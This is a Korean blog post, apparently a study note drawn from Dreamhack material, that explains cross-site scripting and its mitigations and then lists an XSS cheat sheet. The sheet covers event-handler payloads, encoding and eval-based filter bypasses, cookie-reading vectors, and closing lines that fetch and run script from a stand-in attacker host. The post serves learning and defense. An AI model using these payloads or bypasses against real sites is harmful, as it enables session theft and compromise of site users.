[ Web ] XSS에 대해 자세히 공부해보자 / XSS CheetSheet

sangjun

·

2022. 4. 7. 14:13

XSS란?

- Attacker가 웹페이지에 스크립트 구문을 추가해 원하는 자바스크립트 코드나 원하는 코드를 실행 시키는 것

- XSS가 가능한 이유 -> 웹브라우저는 서버에서 웹페이지에 대한 정보를 받으면서 한줄 한줄 실행하기 때문에

응답헤더나 다른 본문 내용에 <script>alert(1)</script>나 다른 스크립트를 실행하게 하는 구문이 있다면

유효한 코드인지 확인을 하지 않고 바로 실행해버린다.

 

XSS는 2000년도에 마이크로소프트 다니시는 형님이 발견해냈다고 한다.

근데 왜 지금까지 막지 못하냐..?

내가 생각하기엔 웹 애플리케이션에서 웹서버 <-> 클라이언트의 상호작용은 엄청나게 많아지고 있고

웹 애플리케이션 구현에 있어서 클라이언트의 입력값을 웹 페이지에 넣어야 하는 것은 필수적이다.

 

직접 웹 애플리케이션을 조금 만들어 봐도 의도치 않은 XSS는 쉽게 발견되는 것을 알 수가 있다.

 

아래 영상을 보면 파라미터로 넘겨준 값을 그냥 웹 페이지에 출력하는 것인데 의도치 않은 동작을 하는것을 볼 수 있다. 

XSS의 파급력

- XSS가 터진다면 원하는 자바스크립트 코드를 실행할 수 있기 때문에 상대방의 컴퓨터를 내것으로 만드는 RCE까지 갈 수 있는 만큼 파급력이 엄청나다.

 

대충 XSS가 터질 때 어디까지 정보가 탈취될 수 있는지 생각해봤다.

 

1. XSS로 자바스크립트 실행 ( 게시판 기능에서 XSS가 터진다는 조건에서, 게시판 글을 보는 모든 사람들)

2. 자바스크립트 코드 실행으로 인한 웹 브라우저 엔진 해킹 --> 상대방의 컴퓨터와 연결되어 상대방의 컴퓨터 조작 가능

3. 일반유저권한 --> 루트권한으로 권한 상승

4. 백도어를 심거나, 중요한 정보를 탈취해간다.

5. 침입 흔적을 지우고 이후엔 백도어를 통해 들어온다.

 

출처 :&nbsp;https://pitsec.tistory.com/18

XSS를 어떻게 막는가

- 클라이언트의 입력값을 검증하는 sanitizer library 사용 --> 직접 구현하려면 생각지도 못 한곳에서 뚫릴 가능성이 높다.

- SOP나 CORS등 웹 브라우저 보호기법으로 XSS제한

 

XSS를 어떻게 트리거 하는가

Dreamhack을 보고 정리해봤다.

XSS로 Javascript를 실행시켜보기

1. Basic한 XSS
<script>alert(1)</script>

2. On 이벤트 핸들러를 이용한 XSS
<img src=x onload=alert(1)> //이미지가 정상적으로 업로드 되어야 onload실행됨
<img src=x onerror=alert(1)>//이미지가 업로드되지 않아야 onerror실행
<input type="text" id="xss" onfocus=alert(1) autofocus> // autofocus옵션은 무조건 맨 뒤에 붙여줘야함
3. 하이퍼링크를 통한 XSS
<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)"> // <img src="javascript:alert(1)">은 안됌
<script src="data:,alert(document.cookie)"></script> // script태그 내에 내용이 있는지 확인하는 sanitizer 우회
<img src=""\nonerror="alert(document.cookie)"/> //멀티라인에 대한 검사가 없을 경우 개행으로 우회


//태그에 대한 검사가 있을 경우 우회
<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>

//멀티라인과 on이벤트 핸들러에 필터 걸려있을 떄
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(1)>">//parent.alert를 사용하는게 좋음

 

 

위의 단계에서 이론적으로는 되는데 Javascript코드에 필터링 걸려있을때 우회해서 실행

1. Javascript Schema를 이용한 우회
\u0061lert(document.cookie);
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";

2. Computed member access특징을 통한 우회
document['coo'+'kie'] == document.cookie
-> alert(document['coo'+'kie']);

3. Symbol.hasInstance 오버라이딩
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];


4. ""나 ''에 대한 필터링 있을 때
- 백틱 `와 ${}를 이용
var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."

- 정규표현식 이용 --> "를 안 쓰고 문자열 만들기 가능
var foo = /Hello World!/.source;  // "Hello World!"
var bar = /test !/ + [];  // 

- 함수 이용
var foo = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"

- Object를 이용
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"

- 진법 이용
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"
5. constructor와 decodeURI사용

Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
      decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();


Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();


6. location.hash를 이용한 방법 -> 아직 이해 못 함ㅠㅠ
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie); 

7. 외부 자원을 이용한 방법
- import("http://malice.dreamhack.io");

-var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);


- fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))